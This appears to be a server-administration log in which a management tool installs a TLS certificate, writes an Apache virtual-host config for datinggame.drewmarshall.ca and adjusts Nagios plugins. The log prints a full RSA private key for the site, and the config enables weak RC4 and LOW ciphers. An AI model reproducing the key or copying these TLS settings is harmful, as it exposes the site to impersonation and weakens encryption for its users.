0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-03-20 06:01:33: 

chmod 755 /tmp/pkp256101; /tmp/pkp256101; rm /tmp/pkp256101

2026-03-20 06:01:33: 


dir=/etc/ssl/certs


2026-03-20 06:01:33: 

PUT: /tmp/pkp104069

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-03-20 06:01:33: 

chmod 755 /tmp/pkp104069; /tmp/pkp104069; rm /tmp/pkp104069

2026-03-20 06:01:33: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf 50

<VirtualHost *:80>
    ServerName	datinggame.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_datinggame
    <Directory /var/www/drewmarshall_datinggame>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/datinggame_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/datinggame_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	datinggame.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/23de9e4d8d79bf04b5d6fc34a21a5b07.crt
    DocumentRoot	/var/www/drewmarshall_datinggame
    <Directory /var/www/drewmarshall_datinggame>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/datinggame_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/datinggame_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-03-20 06:01:33: 

PUT: /tmp/pkp767138

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=drewmarshall_datinggame_ca.conf
TARGET=/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	datinggame.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_datinggame
    <Directory /var/www/drewmarshall_datinggame>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/datinggame_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/datinggame_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	datinggame.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/23de9e4d8d79bf04b5d6fc34a21a5b07.crt
    DocumentRoot	/var/www/drewmarshall_datinggame
    <Directory /var/www/drewmarshall_datinggame>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/datinggame_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/datinggame_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf)= /etc/apache2//etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf= 1'
fi


2026-03-20 06:01:33: 

chmod 755 /tmp/pkp767138; /tmp/pkp767138; rm /tmp/pkp767138

2026-03-20 06:01:33: 




2026-03-20 06:01:33: 

PUT: /tmp/pkp679392

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-03-20 06:01:33: 

chmod 755 /tmp/pkp679392; /tmp/pkp679392; rm /tmp/pkp679392

2026-03-20 06:01:33: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-03-20 06:01:33: Establishing a connection
2026-03-20 06:01:33: 

PUT: /tmp/pkp287175

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-03-20 06:01:33: 

chmod 755 /tmp/pkp287175; /tmp/pkp287175; rm /tmp/pkp287175

2026-03-20 06:01:33: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
                 alias www.bucketgigs.ca
         port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
                 alias www.dgmarshall.ca
         port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
                 alias www.dgmarshall.com
         port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
         port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
         port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
         port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
         port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
         port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
         port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
                 alias www.drewmarshall.ca
         port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
                 alias www.hillrunfarm.ca
         port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
                 alias www.ineedtosaythis.com
         port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
*:443                  is a NameVirtualHost
         default server bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
         port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
                 alias www.bucketgigs.ca
         port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
                 alias www.dgmarshall.ca
         port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
                 alias www.dgmarshall.com
         port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
         port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
         port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
         port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
         port 443 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
         port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
         port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
                 alias www.drewmarshall.ca
         port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
                 alias www.hillrunfarm.ca
         port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
                 alias www.ineedtosaythis.com
         port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-03-20 06:01:33: 

PUT: /tmp/pkp655681

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-20 06:01:33: 

chmod 755 /tmp/pkp655681; /tmp/pkp655681; rm /tmp/pkp655681

2026-03-20 06:01:34: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf	1409

<VirtualHost *:80>
    ServerName	datinggame.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_datinggame
    <Directory /var/www/drewmarshall_datinggame>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/datinggame_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/datinggame_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	datinggame.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/23de9e4d8d79bf04b5d6fc34a21a5b07.crt
    DocumentRoot	/var/www/drewmarshall_datinggame
    <Directory /var/www/drewmarshall_datinggame>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/datinggame_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/datinggame_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-03-20 06:01:34: 

PUT: /tmp/pkp397033

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/23de9e4d8d79bf04b5d6fc34a21a5b07.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-20 06:01:34: 

chmod 755 /tmp/pkp397033; /tmp/pkp397033; rm /tmp/pkp397033

2026-03-20 06:01:34: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/23de9e4d8d79bf04b5d6fc34a21a5b07.crt	5374
ba:58:05:76:79:1b:78:e9:d9:c0:f9:33:bb:4b:47:db

-----BEGIN CERTIFICATE-----
MIIFDzCCA/egAwIBAgISBVTyIhhHR2uetMHOq28RU3A5MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMzIwMDUwMzAxWhcNMjYwNjE4MDUwMzAwWjAlMSMwIQYDVQQD
ExpkYXRpbmdnYW1lLmRyZXdtYXJzaGFsbC5jYTCCASIwDQYJKoZIhvcNAQEBBQAD
ggEPADCCAQoCggEBAI6PLjGPanfxKJWf1Hism7o2uzYgg5GslDiNUzVw0ga/IRMN
gR2XCn7zEGS1Zx2BDowRaCLlYhMADicxQs2dLokoKNukCtvdm6b4ruUUzW2lsU0z
E2WyZtZo842E41n44ssaeO0r+u/s6jspsk4/M35Ytngc8OJ+LXHfbc/GR0Duzrfi
XBLHfNi4ieCWpGzNWQe0k9YXllp8pgge0lAukvuVCE4IZ1zevobe7tvAIhJAxF2e
if6tiw3JBaBlzMUq5Sqr++apl1GWLLzB5cKVUaZnRPuRyiIxqnOVtK+ozLLie2Bt
dZa+ih5xAlzZy47aOIgEwvPCgD29xSth/j3J4n0CAwEAAaOCAikwggIlMA4GA1Ud
DwEB/wQEAwIFoDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0G
A1UdDgQWBBRAwDVE6WCOQm0hy+DM9eaaUisKSzAfBgNVHSMEGDAWgBQAtSnyLY5v
MeibTK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6
Ly9yMTIuaS5sZW5jci5vcmcvMCUGA1UdEQQeMByCGmRhdGluZ2dhbWUuZHJld21h
cnNoYWxsLmNhMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+G
HWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvNTguY3JsMIIBDQYKKwYBBAHWeQIEAgSB
/gSB+wD5AHYAyzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMUWOcAAAGdCdWu
5QAABAMARzBFAiEA59h/r5mOcThFe2OO28jAqvnNG138y7Ub8ZmhOX4mP5ICIFd1
WYRSzgYI1mEQ6BtWWzXhb0q0xf+P/Ktr0WqVaO8HAH8AGoudaUpXmMiZoMqIvfSP
wLRWYMzDYA0fcfRp/8fRrKMAAAGdCdWvfAAIAAAFAFdo3CAEAwBIMEYCIQC614ke
HT1LmZT/bbFftna5R3QJ2F5XotSpoArFev3McwIhAJsmYdvoB0JJplxJEXtdwWWj
zO9g/0jZQHYDnj2m/cltMA0GCSqGSIb3DQEBCwUAA4IBAQCm0J2gfcechyRV+dHm
+bOOb1UcFvC8xa9hucDVXNjmXux5lyHqZExLpqdLZjxqBMwX7kkTUW81T1SV5l9+
EYQmbMEqcfNJXbjj+osLeuytaRO3IQysdMKUCU+AH9y0/zK8PjCSiNXNL7bx7Fss
lM1nLHEJW7ONQIXQKwgj9ip90VO0Sy5fr9XmP43BiV44zp4jS3vpj4xKr3Wvn9aV
LDvRnuU2Eg107cchnQx0Pr7U9g+C1fRGNgGs90zyl8JhtDSyIsildBReBn8bBUmI
e4EsG11CNJN3erhTe3XDgCzSSWl/2n9kMufprDKotVoQqdObdkX+U3Gt9a0OYtr0
YSI3
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCOjy4xj2p38SiV
n9R4rJu6Nrs2IIORrJQ4jVM1cNIGvyETDYEdlwp+8xBktWcdgQ6MEWgi5WITAA4n
MULNnS6JKCjbpArb3Zum+K7lFM1tpbFNMxNlsmbWaPONhONZ+OLLGnjtK/rv7Oo7
KbJOPzN+WLZ4HPDifi1x323PxkdA7s634lwSx3zYuInglqRszVkHtJPWF5ZafKYI
HtJQLpL7lQhOCGdc3r6G3u7bwCISQMRdnon+rYsNyQWgZczFKuUqq/vmqZdRliy8
weXClVGmZ0T7kcoiMapzlbSvqMyy4ntgbXWWvooecQJc2cuO2jiIBMLzwoA9vcUr
Yf49yeJ9AgMBAAECggEAA8lrliKTsko4yOeNHiijC3yt10Hy/L/qQSm9l8/Q0h/q
Kv+uQzD0x0aBnUIVdtZQNOVuC5PTtRl/j+OGz5to+njcn0Rpr7cp1wVROSZLdGC+
FTu/hZYKKCK8agyEwzx/PlHnsrUfgrwJMoCNVEB7PosVS3ZboNrcCZqbw0cmfNGa
HDR5i7yL738a5sP+aGktnOuT2zPzKALRaTJHi2G9BxtGfHxafElvztt1i/go9GwG
ACh2FJ5Bj8nrV2jU+jLWTbps1/dXIT6mQDSMFgbai8zKHX3WhVYKl6rmwqkAXe/W
URQD+zctm5t7ErpAhpKZuIY0/yvKnXuB2QbL0KpyaQKBgQDHQVdfDwVYFHpJZSWx
YlreQ7XfrXTrI1X2annYUZkgFV84RDYws/OV5LNlg+mRSFhcXSxqvwbWXKdkEiSx
OjBRfbiZ3JWBVT+2zSL0vakKrFQgFcG3GqjQyHjQxkUWAqA/a54M+uzHegxA0I4V
pwbEhClUrYOcn9iVgahf+DchBwKBgQC3KG8rM1knPTh6sUykv6L2PAaoEc67cGwD
Lq9p2OrZFSONxe1BMhGBPieyGRw3oWMc+j5dsWEk0xJ3IoBTcJ7TSa/n+BGdJbaf
yKOleaEyCoQ4Wf4JkkVXjCNMN2e43INSIcKFq51fPoOfEJNUpQYfZg7NUhqpR7Qg
aru4pw1zWwKBgQCFpo9rZJDqFro7tsvEortesL4yrY9qFUaYxay662ixe4RmImLS
4jF2DnRCmGu3lnYmZhzf8QguCvIAjqbr9aLpVlHXan0hxkO5Yvmafgj/7r1y1AUe
w5QOjxlyuDso21QPlijqffkKiBPl+b4ESgehEyEB+mz4RsOo7NI6pSydSwKBgFB3
Ox/Hl0td4gpFCl72silrhaEg8an3Yfyj7fyah9KHLu+CHRGfZYFaRSZBUdw+0sRQ
TEXtP7hl4p7kUWxW9e/tV5KZsWNQxkK8auiv3tmVNTFsl+aslDo6HufFD5RvjGHw
4vzGwISvejPPnGp7dY0l0Sry/zOPhNsZCQ++lHIxAoGBAJxyPJPuruxkxpq5OVnH
lzNQnDV9EZuz1Z3xSenLwu/hTYc44uhwnMUyIPZKbYQoOpLuZPdi9oWcADyRTdDI
8oF91YwND0De3Bv6ijqMaJxh3IgJqIR9a6Q5/3kC4kfoZnt/BfpZB4+aqmeOvKSh
kYdfFeJErrBFLyIEcunSToYx
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2026-03-20 17:46:55: Establishing a connection
2026-03-20 17:46:55: Establishing a connection
2026-03-20 17:46:56: 

PUT: /tmp/pkp703118

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/usr/local/nagios/etc/objects/hostgroup.cfg')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-20 17:46:56: 

chmod 755 /tmp/pkp703118; /tmp/pkp703118; rm /tmp/pkp703118

2026-03-20 17:46:56: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/usr/local/nagios/etc/objects/hostgroup.cfg	629
# CUSTOMIZED

###############################################################################
#
# HOST GROUP DEFINITION
#
###############################################################################

# Define an optional hostgroup for Linux machines

define hostgroup {

    hostgroup_name          linux-servers           ; The name of the hostgroup
    alias                   Linux Servers           ; Long name of the group
      ; Comma separated list of hosts that belong to this group
  members  localhost, server_51, server_53, server_44, server_59, server_49, server_50, server_42, server_41, server_1, server_45
}






2026-03-20 17:46:56: 

systemctl reload nagios

2026-03-20 17:46:56: 




2026-03-20 17:46:56: 

PUT: /tmp/pkp280471

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2026-03-20 17:46:56: 

chmod 755 /tmp/pkp280471; /tmp/pkp280471; rm /tmp/pkp280471

2026-03-20 17:46:56: 


ok


2026-03-20 17:46:57: 

PUT: /tmp/pkp106085

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_ssl_cert.php'
echo ok


2026-03-20 17:46:57: 

chmod 755 /tmp/pkp106085; /tmp/pkp106085; rm /tmp/pkp106085

2026-03-20 17:46:57: 


ok


2026-03-20 17:46:57: 

PUT: /tmp/pkp916394

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_service'
echo ok


2026-03-20 17:46:57: 

chmod 755 /tmp/pkp916394; /tmp/pkp916394; rm /tmp/pkp916394

2026-03-20 17:46:57: 


ok


2026-03-20 17:46:57: 

PUT: /tmp/pkp572622

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2026-03-20 17:46:57: 

chmod 755 /tmp/pkp572622; /tmp/pkp572622; rm /tmp/pkp572622

2026-03-20 17:46:57: 


ok


2026-03-20 17:46:57: 

PUT: /tmp/pkp290739

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_autoupdate.php'
echo ok


2026-03-20 17:46:57: 

chmod 755 /tmp/pkp290739; /tmp/pkp290739; rm /tmp/pkp290739

2026-03-20 17:46:57: 


ok


2026-03-20 17:46:57: 

PUT: /tmp/pkp522630

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_debian_packages'
echo ok


2026-03-20 17:46:57: 

chmod 755 /tmp/pkp522630; /tmp/pkp522630; rm /tmp/pkp522630

2026-03-20 17:46:57: 


ok


2026-03-20 17:46:57: 

PUT: /tmp/pkp644213

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2026-03-20 17:46:57: 

chmod 755 /tmp/pkp644213; /tmp/pkp644213; rm /tmp/pkp644213

2026-03-20 17:46:57: 


ok


2026-03-20 17:46:57: 

PUT: /tmp/pkp328489

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_php.php'
echo ok


2026-03-20 17:46:57: 

chmod 755 /tmp/pkp328489; /tmp/pkp328489; rm /tmp/pkp328489

2026-03-20 17:46:57: 


ok


